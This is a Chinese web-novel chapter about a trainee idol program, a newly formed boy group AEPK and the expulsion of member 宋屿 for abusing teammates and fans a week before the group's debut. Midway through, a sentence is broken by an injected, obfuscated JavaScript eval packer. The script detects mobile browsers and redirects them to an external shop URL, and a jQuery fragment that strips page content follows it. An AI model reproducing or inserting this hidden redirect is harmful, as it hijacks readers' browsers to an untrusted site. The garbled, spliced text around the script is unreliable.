内娱的造星市场早已拥挤不堪。
流水线选秀、限定团速生速死、资本控票、人设崩塌、黑料频出，整个行业像一口沸腾的热锅，喧嚣、浮躁、急功近利，无数少年带着一腔热爱涌进来，最后只落得满身伤痕、悄无声息地退场。
就在这样的环境里，星耀下场了。
没有铺天盖地的热搜营销，没有流量导师噱头，没有恶意剪辑制造话题，甚至没有公开直播投票——企划官宣里只写了一句话：
我们不造流量偶像，只选有实力、有底线、能走在一起的少年。
半年后，只剩下13人。
有人不愿意再继续下去，有人对自己前途迷茫，有人被别的公司挖走，提前出道：最终只剩下13人。
他们是「曜日计划」最后的幸存者，是距离出道只有一步之遥的终极候选团。
13人里，有曾经早已有名的12强，有咬牙抗到现在的练习生，有辍学追梦的地下rapper，也有家境普通、孤注一掷的小镇少年。
而在这13人之外，还站着一个特殊的少年。
他没有进入终极候选名单，却拥有单独的顶级练习室、专属导师、定制训练计划。
他叫骆闻阳。
这一年，骆闻阳刚满17岁。
论唱功，他能轻松驾驭高音、转音、弱混、怒音，现场稳如开垫；
论舞蹈，他popping、locking、urban、现代舞全能，肢体控制力、爆发力、美感兼具；
论颜值，他是标准的养成系少年长相，眉眼干净、笑容治愈、皮肤白皙、身形挺拔，站在人群里自带柔光；
论性格，他温和、通透、懂事、体贴，会帮队友捡东西、会给导师递水、会安慰淘汰的伙伴、从不争抢，从不抱怨，人气高到即便不参与竞选，依旧拥有大批自发追随的粉丝。
他唯一的“问题”，是生病了。
厂牌为了保证男团长期稳定性，“放弃了他”。
骆闻阳足够强，强到断层第一，但他真的没有办法。
高层最终做出了一个震惊整个企划组的决定：
不让骆闻阳参与竞选，保留他全部身份，定位为二代预备役队长，单独集训，等待下一轮成团，直接锁定核心位。
这个决定，保全了规则，也埋下了整个故事最动人的伏笔。
候选团正式集结完毕。
他们分别是：
蔡希澈，王辉荟，余宇涵，江亦风，苏妄，傅念，顾子轩，夏泽宇，沈星辞，陆星延，宋屿，左天，陈昭瑞。
彼时没有人在意他人，所有人的目光，都落在最有希望的9个人身上。
蔡希澈：藏在冷漠里的担当。
蔡希澈是9人里最年长的，刚满20岁。
他不是那种第一眼就惊艳的长相，却是越看越有气场的类型。
眉眼深邃、鼻梁高挺、唇线偏薄、下颌线利落清晰，不爱笑，不爱说话，永远穿深色衣服，站在那里就自带一种生人勿近的疏离感，是标准到极致的禁欲系帅哥。
他话少到近乎冷淡，训练时极度严苛，对自己狠，对队友也从不含糊，很多人觉得他傲慢、不好接近、没有人情味。
只有少数人知道，他的冷漠，从来不是高傲。
他从小家境优渥，父母都想他好好学习，让他以后好管理企业。但他喜欢舞台，所以他没有退路，不能失败，不敢松懈，不能对不起自己，也不能输了和父亲的打赌。
他比谁都清楚，舞台从不是童话，是战场。
进入「曜日计划」后，他自动扛起了隐性队长的责任。
别人偷懒时，他在练声；
别人休息时，他在抠动作；
队友练破嗓子，他默默递上润喉糖；
团队排练混乱，他第一个站出来梳理走位；
高层开会，他永远替全队争取更好的音源、更公平的考核、更安全的生活环境。
他不说，不代表他不做。
他不暖，不代表他没有心。
他的目标从来不是个人出彩，而是带着身边真正靠谱的人，一起站上出道舞台。
队内担当，早已被内定为：队长、副主唱。
王辉荟：与世无争的清冷舞者。
王辉荟和蔡希澈同岁，20岁。
他是完全和蔡希澈互补的另一种好看。
肤色偏冷白，眉眼纤细、气质干净、身形清瘦，眼神淡淡，像雨后的雾，像冬夜的月，自带一种不食人间烟火的清冷疏离感。
他是天生的舞者。
从六岁开始学舞，民族、古典、现代、街舞全部深耕，肢体线条流畅到极致，每一个动作都精准、干净、有呼吸感，哪怕只是简单站定，都充满舞台美感。
他不爱争抢，不爱出风头，不参与队内闲聊，不混圈子，不炒人设，训练结束就回宿舍看书、听纯音乐、复盘舞蹈视频。
有人说他装，有人说他高冷，有人说他不合群。
只有熟悉他的人才知道，他从小性格内向，不擅长表达，舞蹈是他唯一的语言。
他不喜欢喧嚣，不渴望爆红，只想安安静静跳舞，用舞台说话。
在13人里，他永远是最稳定、最零失误、最让导师省心的一个。
队内唯一核心领舞，毫无争议。
余宇涵：带刺的犀利少年。
余宇涵19岁，是9人里最有攻击性的一个。
长相凌厉、棱角分明、眼尾上挑、气场冷硬，透着一股不好惹的痞帅，往舞台上一站，就自带压迫感。
他是地下rapper出身，没接受过系统化偶像训练，说话直接、脾气耿直、不服就刚，讨厌虚伪，讨厌敷衍，讨厌不公平。
早年在地下圈子摸爬滚打，见过太多资本打压、太多作品被窃取、太多真心被践踏，他习惯用尖锐包裹自己，用冷漠对抗世界。
他的说唱，有态度、有故事、有力量，低音炮质感独特，flow犀利、歌词戳心，舞台上极具炸裂感。
考核中，他曾因为导师一句“你这种风格不适合偶像男团”，当场直接回怼：
“男团不是只会唱甜歌，我要带来的是态度。”
他不合群，不圆滑，不讨好，却极其讲义气。
谁真心对他，他就拿命护谁。
队内唯一Rapper，非他莫属。
江亦风：安静藏在温柔下。
19岁，是所有人都喜欢的样子，好说话，有分寸感。
他长相偏柔和，很会说话，很会讨好导师、讨好粉丝、讨好队友，人前永远一副阳光开朗、热心体贴的模样，很会营造好人设，很懂如何博取好感。
苏妄：最有创作力的担当。
创作室里是他的灵感撑着活力，热忱融于每一次练习。他生来耀眼，又从不止步于天赋，默默沉淀，静待登台。
集训的日子，痛并快乐着。
…………
半年来，每天14小时高强度训练，声乐、舞蹈、说唱、形体、表情管理、媒体课、艺人素养课连轴转，腰酸背痛、声带充血、膝盖淤青、脚底起泡是常态。
有人崩溃大哭，有人想放弃，有人偷偷想家。
蔡希澈永远沉默着扛住所有压力，稳住全队节奏；
王辉荟永远安静地打磨每一个动作，用舞台稳定军心；
余宇涵永远用最炸的说唱，点燃所有人的斗志；
骆闻阳虽然不能同台，却常常在练习室外隔着玻璃，默默给他们加油。
他看着他们的每一次公演，每一次进步，每一次挣扎。
他比谁都渴望和他们一起站在舞台上。
可他只能等。
最后的公演排名，夏泽宇，左天，陈昭瑞淘汰。
至此9人出道团集结完毕。
出道在即，万事俱备。
厂牌正式官宣团名：AEPK。
番位规则：严格按年龄排序，终身固定，永不更改。
出道演唱会定名：《曜日》。
出道专辑定名：《光》，收录三首量身定制曲：《喜欢》《咖色阳光》《救世主》。
所有人都以为，故事会就此顺理成章地走向光明。
直到，深渊裂开，邪恶浮出水面。
距离《曜日》出道演唱会，还有7天。
整个团队已经进入最后的倒计时冲刺。
出道舞台联排、专辑音源终录、MV拍摄、海报拍摄、媒体群访、粉丝见面会筹备……所有工作压到极致，每个人都累到极致，也兴奋到极致。
蔡希澈被正式任命为AEPK第一任代理队长，全面统筹全队事务。
他每天只睡三小时，一边盯舞台排练，一边协调团队事务，一边安抚所有人情绪，压力大到发际线后移，却从不说一句累。
王辉荟承担全团所有舞蹈编排、走位设计、动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606111|205724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
作矫正，每一个队形、每一个眼神、每一个卡点，都精雕细琢，力求完美。
余宇涵包揽全部说唱段落，反复修改歌词、打磨flow，把自己最锋利的态度，全部融进团队作品里。
宋屿依旧维持着温和人设，跟着排练，跟着营业，跟着畅想未来。
没有人发现，他心底的嫉妒已经疯狂滋生。
他比谁都清楚，自己的实力配不上出道位
他看着蔡希澈的队长光环、王辉荟的舞台光芒、余宇涵的实力认可，再想到那个明明更强、却因为生病不能出道的骆闻阳，心底的阴暗开始疯狂蔓延。
凭什么？
凭什么他们都天生耀眼？
凭什么所有人都偏爱他们？
凭什么我要活在他们的光环下？
欲望和自卑，最终催生出了恶。
最初，只是私下抱怨。
抱怨蔡希澈管得太严，抱怨王辉荟不合群，抱怨余宇涵脾气差，抱怨公司不给自己更多镜头。
后来，变成恶意排挤。
训练时故意拖慢节奏，故意踩王辉荟的舞步，故意不配合余宇涵的说唱段落，故意在背后挑拨离间，散播另外几人的谣言。
再后来，彻底失控。
队内宿舍是两人一间，宋屿和余宇涵同住。
某天深夜，余宇涵提前回到宿舍，意外听到宋屿在和别人语音通话。
电话里的声音，刻薄、恶毒、狰狞，完全褪去了平日的伪装。
他在骂蔡希澈。
“装什么队长，整天摆张臭脸，真把自己当回事了，不就是年纪大一点吗，废物一个。”
他在骂王辉荟。
“清冷个屁，就是装高冷，想立人设博眼球，跳舞再好有什么用，没人气就是废物。”
他在骂余宇涵自己。
“那个说唱的，狂什么狂，要不是我会营业，出道轮得到他？迟早我要把他踩下去。”
他甚至在骂真心喜欢他的粉丝。
“一群傻子，真以为我喜欢他们？要不是为了流量，我理都懒得理，花钱养我还得看我脸色，贱不贱。”
余宇涵僵在门口，浑身发冷。
他不是没见过人心险恶，可他从没想过，那个天天和自己一起吃饭、一起训练、一起说笑的队友，竟然是这样一个人面兽心的东西。
他没有当场发作。
余宇涵性格刚，却不是冲动。
他默默拿出手机，按下了录音键。
完整的辱骂、嘲讽、恶毒诅咒，一字不落地被录了下来。
紧接着，越来越多的证据被陆续爆出。
宋屿私下霸凌工作人员的聊天记录、对队友进行人身攻击的私信、嘲讽粉丝长相、辱骂公司高层、甚至发表不当言论的截图，被一一实锤。
所有证据，全部摆到了厂牌高层、企划组、导师团的面前。
整个企划组彻底震怒。
「曜日计划」的第一底线，从来不是实力，是人品。
学艺先学德，做人先立身。
一个连队友都辱骂、连粉丝都嫌弃、连基本道德底线都没有的人，根本不配当偶像，更不配站在出道舞台上。
没有任何犹豫，没有任何姑息。
厂牌连夜召开紧急发布会，官宣重磅公告：
【经公司核实，宋屿存在严重品行失德行为，辱骂队友、霸凌粉丝、言行恶劣、违背艺人职业道德，即日起，永久取消其AEPK出道资格，即刻退出所有出道筹备，正式下楼，永不复用。】
公告一出，全网炸翻。
粉丝哗然，舆论沸腾。
支持叫好者占绝大多数，所有人都佩服厂牌的果断，坚守底线，绝不姑息。
可狂欢过后，是致命的现实。
还有7天，出道演唱会就要举办。
舞台、场馆、门票、宣发、音源、物料，全部敲定，无法撤销，无法延期。
9人团，一夜之间少了一人。
缺编、断层、崩盘。
所有努力，眼看就要全部作废。
蔡希澈坐在空无一人的练习室里，第一次露出了疲惫的神情。
王辉荟靠在镜子上，眼神黯淡，满心无力。
余宇涵捏着手机，脸色冷到极致，满心失望。
他们拼了整整一年，眼看就要触碰到光，却被一颗老鼠屎，毁了所有。
难道，就这样结束了吗？